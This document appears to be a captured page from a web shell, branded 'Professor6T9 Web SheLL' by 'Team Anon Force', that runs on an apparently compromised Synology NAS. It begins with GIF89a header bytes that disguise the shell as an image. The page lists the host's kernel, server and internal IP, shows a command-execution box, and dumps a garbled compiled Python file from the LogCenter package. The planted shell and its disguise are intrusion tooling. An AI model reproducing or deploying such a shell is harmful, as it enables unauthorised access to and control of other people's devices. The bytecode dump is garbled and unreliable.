GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
LogCenter
/
synologconf
/
subgens
/
__pycache__
[ HOME ]
Exec
Submit
File Name : logcenter_cluster.cpython-38.pyc
U ���hH � @ s� d dl Z d dlZd dlmZmZmZ ej�dd�Z ej� e �Ze j� e� ej�dd�Zej� e�Zej� e� dZdZd Zd d� Zdd � Zdd� ZG dd� dej�ZG dd� dej�ZG dd� de�ZG dd� dej�ZdS )� N)�basename�dirname�exists�logcenter_modulez?/var/packages/LogCenter/target/synologconf/subgens/logcenter.py�local_sub_gen_modulez)/usr/syno/lib/synosyslog/subgens/local.pyz system-logZclusterz/var/log/synolog_cluster/c C sT t | jkrt| jkrdS tj�� s,tj�� rPt�� t| jksLtj � | t �rPdS dS )NFT)�KEY_CLUSTER�conf�KEY_SYSTEM_LOGr �HCI� is_support�FSDN�ClusterFacility�clean�Facility�validate)�synolog_conf� r �G/var/packages/LogCenter/target/synologconf/subgens/logcenter_cluster.py�validate_synolog_conf s r c C sT t | �}g }t}|D ]:}z|| �}|�|�� � W q |jk rL Y qY qX q|S �N)�"generate_syslog_ng_conf_in_clusterr �extend�gen�LogCenterError)r �gen_classes�confs�module� gen_class�gen_objr r r �generate_syslog_ng_conf s r c C s� t j�d�rt j�d�sg S t j�� s4t j�� s4g S | �t�rNt j� | t�}n| �t �r^d}ng S t�� t� |� t j�� r�t j�� }|dkr�|dkr�g S |dks�|dkr�tgS n*t j�� r�|dkr�tgS t j�� s�ttgS |dkr�ttgS tttgS )Nzpkgctl-LogCenterzpkg-LogCenter-syslog�SystemZagentZ controller� Connection)r � Systemctl� is_unit_upr r r �is_key_enabledr r �getr r �init�add�get_role�ClientToController� is_admin_node�ControllerReceiver�RelayToLocalarchive)r �facilityZroler r r r - s2 r c s$ e Zd Z� fdd�Zdd� Z� ZS )r) c s� t � �|� |�t�r&tj�|t�}n|�t�r4d}|| _d| _ d| _ d| _tj� � r�dg| _tj�� rx| jdg7 _ddd d �g| _nd | _d S )Nr z"pkg-LogCenter-client-to-controllerZf_syno_controller_internet_sevZf_syno_controller_internet_facZ d_syno_controller_local_internetZ!d_syno_controller_remote_internet�rewriteZr_syno_client_host��type�name�content)Zd_syno_controller_internet)�super�__init__r$ r r r r% r r- �service_name� filter_sev� filter_facr r �destination_names� is_online�rewrite_rule)�selfr r- �� __class__r r r4 Q s$ �zClientToController.__init__c C s | � d�S )NF)�_gen�r; r r r r g s zClientToController.gen)�__name__� __module__�__qualname__r4 r � __classcell__r r r<